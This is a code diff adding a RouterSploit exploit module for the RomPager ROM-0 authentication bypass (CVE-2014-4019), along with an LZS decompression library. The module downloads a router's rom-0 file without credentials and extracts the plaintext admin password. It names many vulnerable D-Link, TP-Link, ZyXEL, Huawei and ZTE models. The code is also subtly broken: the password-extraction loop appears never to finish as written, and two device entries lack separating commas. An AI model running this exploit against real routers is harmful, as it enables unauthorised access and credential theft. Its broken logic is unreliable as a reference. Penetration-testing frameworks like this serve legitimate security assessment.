rom-0 exploit

routersploit/modules/exploits/multi/rom0.py

+import io
+import re
+
+from routersploit import (
+    exploits,
+    print_status,
+    print_error,
+    print_success,
+    http_request,
+    mute,
+    validators,
+)
+from routersploit.modules.libs import lzs
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for RomPager ROM-0 authentication bypass vulnerability.
+    If the target is vulnerable it allows to download rom file and extract plaintext password.
+    """
+    __info__ = {
+        'name': 'RomPager ROM-0',
+        'description': 'Exploits RomPager ROM-0 authentication bypass vulnerability that allows downloading rom file and extract password without credentials.',
+        'authors': [
+            '0BuRner',  # routersploit module
+        ],
+        'references': [
+            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4019',
+            'http://www.osvdb.org/show/osvdb/102668',
+            'https://dariusfreamon.wordpress.com/tag/rompager/',
+            'http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/',
+            'https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf',
+        ],
+        'devices': [
+            'AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)',
+            'D-Link DSL-2520U (1.08 Hardware Version: B1)',
+            'D-Link DSL-2640R',
+            'D-Link DSL-2740R (EU_1.13 Hardware Version: A1)',
+            'Huawei 520 HG',
+            'Huawei 530 TRA',
+            'Pentagram Cerberus P 6331-42',
+            'TP-Link TD-8816',
+            'TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)',
+            'TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)'
+            'TP-Link TD-W8901G',
+            'TP-Link TD-W8951ND',
+            'TP-Link TD-W8961ND',
+            'ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)',
+            'ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)'
+            'ZynOS',
+            'ZyXEL ES-2024',
+            'ZyXEL Prestige P-2602HW',
+            'ZyXEL Prestige 782R',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port')  # default port
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+
+            print_status("Downloading rom-0 file...")
+            url = "{}:{}/rom-0".format(self.target, self.port)
+            response = http_request(method="GET", url=url)
+            response.raise_for_status()
+            with io.BytesIO(response.content) as f:
+                print_status("Extracting password from file...")
+                password = self.extract_password(f)
+                print_success("Router password is: {}".format(password))
+        else:
+            print_error("Target is not vulnerable")
+
+    @staticmethod
+    def extract_password(fhandle):
+        fpos = 8568
+        fend = 8788
+        chunk = "*"
+        amount = 221
+
+        fhandle.seek(fpos)
+        while fpos < fend:
+            if fend - fpos < amount:
+                amount = fend - fpos
+                chunk = fhandle.read(amount)
+                fpos += len(chunk)
+
+        # Decompress chunk
+        result, window = lzs.LZSDecompress(chunk)
+        print_status('Decompressed chunk: {0}'.format(result))
+
+        # Extract plaintext password
+        res = re.findall(b'([\040-\176]{5,})', result)
+
+        return res[0]
+
+    @mute
+    def check(self):
+        url = "{}:{}/rom-0".format(self.target, self.port)
+        response = http_request(method="HEAD", url=url)
+
+        if response is None:
+            response = http_request(method="GET", url=url)
+
+        if response is not None and response.status_code == 200:
+            return True
+
+        return False

routersploit/modules/libs/lzs.py

+# !/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+##############################################################
+# Lempel-Ziv-Stac decompression
+# BitReader and RingList classes
+#
+# Copyright (C) 2011  Filippo Valsorda - FiloSottile
+# filosottile.wiki gmail.com - www.pytux.it
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+##############################################################
+
+import collections
+
+
+class BitReader:
+    """
+    Gets a string or a iterable of chars (also mmap)
+    representing bytes (ord) and permits to extract
+    bits one by one like a stream
+    """
+
+    def __init__(self, bytes):
+        self._bits = collections.deque()
+
+        for byte in bytes:
+            byte = ord(byte)
+            for n in xrange(8):
+                self._bits.append(bool((byte >> (7 - n)) & 1))
+
+    def getBit(self):
+        return self._bits.popleft()
+
+    def getBits(self, num):
+        res = 0
+        for i in xrange(num):
+            res += self.getBit() << num - 1 - i
+        return res
+
+    def getByte(self):
+        return self.getBits(8)
+
+    def __len__(self):
+        return len(self._bits)
+
+
+class RingList:
+    """
+    When the list is full, for every item appended
+    the older is removed
+    """
+
+    def __init__(self, length):
+        self.__data__ = collections.deque()
+        self.__full__ = False
+        self.__max__ = length
+
+    def append(self, x):
+        if self.__full__:
+            self.__data__.popleft()
+        self.__data__.append(x)
+        if self.size() == self.__max__:
+            self.__full__ = True
+
+    def get(self):
+        return self.__data__
+
+    def size(self):
+        return len(self.__data__)
+
+    def maxsize(self):
+        return self.__max__
+
+    def __getitem__(self, n):
+        if n >= self.size():
+            return None
+        return self.__data__[n]
+
+
+def LZSDecompress(data, window=RingList(2048)):
+    """
+    Gets a string or a iterable of chars (also mmap)
+    representing bytes (ord) and an optional
+    pre-populated dictionary; return the decompressed
+    string and the final dictionary
+    """
+    reader = BitReader(data)
+    result = ''
+
+    while True:
+        bit = reader.getBit()
+        if not bit:
+            char = reader.getByte()
+            result += chr(char)
+            window.append(char)
+        else:
+            bit = reader.getBit()
+            if bit:
+                offset = reader.getBits(7)
+                if offset == 0:
+                    # EOF
+                    break
+            else:
+                offset = reader.getBits(11)
+
+            lenField = reader.getBits(2)
+            if lenField < 3:
+                lenght = lenField + 2
+            else:
+                lenField <<= 2
+                lenField += reader.getBits(2)
+                if lenField < 15:
+                    lenght = (lenField & 0x0f) + 5
+                else:
+                    lenCounter = 0
+                    lenField = reader.getBits(4)
+                    while lenField == 15:
+                        lenField = reader.getBits(4)
+                        lenCounter += 1
+                    lenght = 15 * lenCounter + 8 + lenField
+
+            for i in xrange(lenght):
+                char = window[-offset]
+                result += chr(char)
+                window.append(char)
+
+    return result, window
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